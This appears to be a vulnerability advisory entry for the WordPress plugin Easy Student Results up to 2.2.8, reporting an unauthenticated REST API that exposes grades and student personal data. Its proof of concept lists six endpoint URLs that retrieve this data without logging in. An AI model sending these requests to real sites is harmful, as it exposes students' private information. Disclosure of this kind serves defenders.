WordPress Plugin Vulnerabilities

Easy Student Results <= 2.2.8 - Sensitive Information Disclosure via REST API

Description

The plugin lacks authorisation in its REST API, allowing unauthenticated users to retrieve information related to the courses, exams, departments as well as student's grades and PII such as email address, physical address, phone number etc

Proof of Concept

When the "Enable API for Mobile Apps" settings (/wp-admin/admin.php?page=rps_result_settings) is enabled

https://example.com/wp-json/rps_result/v1/route/show_result?exam_record_id=2&student_id=32
https://example.com/wp-json/rps_result/v1/route/student_fields
https://example.com/wp-json/rps_result/v1/route/search_student?department_id=1&batch_id=1&semester_id=1
https://example.com/wp-json/rps_result/v1/route/result_fields
https://example.com/wp-json/rps_result/v1/route/list_results?exam_id=1&department_id=1&batch_id=1
https://example.com/wp-json/rps_result/v1/route/schema

Affects Plugins

References

Classification

Type
NO AUTHORISATION
CWE
CVSS

Miscellaneous

Original Researcher
Raad Haddad of Cloudyrion GmbH
Submitter
Raad Haddad of Cloudyrion GmbH
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-07-19 (about 1 years ago)
Added
2022-07-19 (about 1 years ago)
Last Updated
2023-04-19 (about 1 years ago)

Other